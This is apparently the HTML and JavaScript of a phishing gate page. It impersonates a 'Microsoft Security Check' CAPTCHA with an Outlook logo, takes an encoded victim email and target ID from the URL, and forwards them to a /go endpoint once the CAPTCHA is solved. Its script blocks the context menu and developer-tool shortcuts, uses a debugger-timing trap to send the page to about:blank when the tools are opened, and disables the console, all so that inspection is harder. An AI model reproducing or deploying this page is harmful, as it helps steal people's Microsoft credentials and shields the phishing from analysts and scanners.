<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta content="IE=edge" http-equiv="X-UA-Compatible">
    <meta http-equiv="Content-Security-Policy" content="form-action 'none'">
    <meta name="color-scheme" content="light">
    <title>Loading...</title>
    <link rel="icon" href="data:image/vnd.microsoft.icon;base64,AAABAAEAEBAAAAEAIABoBAAAFgAAACgAAA...">
    <style>
        body, html { margin: 0; padding: 0; width: 100%; height: 100%; overflow: hidden; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; }
        .background { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: url(https://imagedelivery.net/V5lSkRYhzcE91zkPxxAW4g/550dcf19-a5a9-4ea6-1c7a-34bb54683400/public) center/cover no-repeat fixed; filter: blur(8px); transform: scale(1.1); z-index: -1; }
        .overlay { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,.4); z-index: -1; }
        .captcha-container { position: fixed; top: 50%; left: 50%; transform: translate(-50%, -50%); z-index: 2000; background: rgba(255,255,255,.95); padding: 30px; border-radius: 12px; box-shadow: 0 8px 32px rgba(0,0,0,.2); display: flex; flex-direction: column; align-items: center; gap: 20px; text-align: center; backdrop-filter: blur(10px); border: 1px solid rgba(255,255,255,.3); min-width: 320px; }
        .logo { width: 48px; height: 48px; margin-bottom: 10px; }
        .captcha-title { color: #333; margin: 0; font-size: 1.2em; font-weight: 500; }
        .captcha-input { padding: 8px; font-size: 1em; text-align: center; border-radius: 5px; border: 1px solid #ccc; }
        .captcha-submit { padding: 8px 16px; font-size: 1em; background: #0078D4; color: white; border: none; border-radius: 5px; cursor: pointer; }
        .captcha-submit:hover { background: #005ea6; }
    </style>
</head>
<body>
    <div class="background"></div>
    <div class="overlay"></div>

    <div class="captcha-container" id="captcha-container">
        <img src="https://imagedelivery.net/V5lSkRYhzcE91zkPxxAW4g/b01fff6f-cd46-4bbd-c43f-da02c1dafe00/public" alt="Outlook Logo" class="logo">
        <h3 class="captcha-title">Microsoft Security Check</h3>
        <canvas id="captchaCanvas" width="150" height="50"></canvas>
        <input type="text" id="captchaInput" class="captcha-input" placeholder="Enter CAPTCHA" required>
        <button onclick="validateCaptcha()" class="captcha-submit">Verify</button>
    </div>

    <script>
        function generateCaptcha() {
            const canvas = document.getElementById("captchaCanvas");
            const ctx = canvas.getContext("2d");
            const chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
            let captchaText = "";
            for (let i = 0; i < 6; i++) {
                captchaText += chars.charAt(Math.floor(Math.random() * chars.length));
            }
            sessionStorage.setItem("captcha", captchaText);
            ctx.fillStyle = "#f0f0f0";
            ctx.fillRect(0, 0, canvas.width, canvas.height);
            ctx.font = "30px Arial";
            ctx.fillStyle = "#333";
            ctx.fillText(captchaText, 20, 35);
        }

        function validateCaptcha() {
            const userCaptcha = document.getElementById("captchaInput").value;
            const storedCaptcha = sessionStorage.getItem("captcha");
            const encryptedUrl = new URLSearchParams(window.location.search).get("id");
            const encodedEmail = new URLSearchParams(window.location.search).get("email");
            
            if (userCaptcha === storedCaptcha) {
                if (encryptedUrl && encodedEmail) {
                    window.location.href = `/go?id=${encryptedUrl}&email=${encodedEmail}&captcha_valid=true`;
                } else {
                    alert("Invalid request. Please try again.");
                }
            } else {
                alert("Incorrect CAPTCHA. Please try again.");
                generateCaptcha();
            }
        }

        document.addEventListener("contextmenu", (event) => event.preventDefault());
        document.addEventListener("keydown", (event) => {
            if (event.keyCode === 123) { event.preventDefault(); }
            if (event.ctrlKey && event.shiftKey && (event.key === "I" || event.key === "J" || event.key === "C")) { event.preventDefault(); }
            if (event.ctrlKey && event.key === "U") { event.preventDefault(); }
        });

        setInterval(() => {
            let before = new Date();
            debugger;
            let after = new Date();
            if (after - before > 100) {
                window.location.href = "about:blank";
            }
        }, 1000);

        Object.defineProperty(window, 'console', {
            value: {},
            writable: false,
            configurable: false
        });

        window.onload = generateCaptcha;
    </script>
</body>
</html>
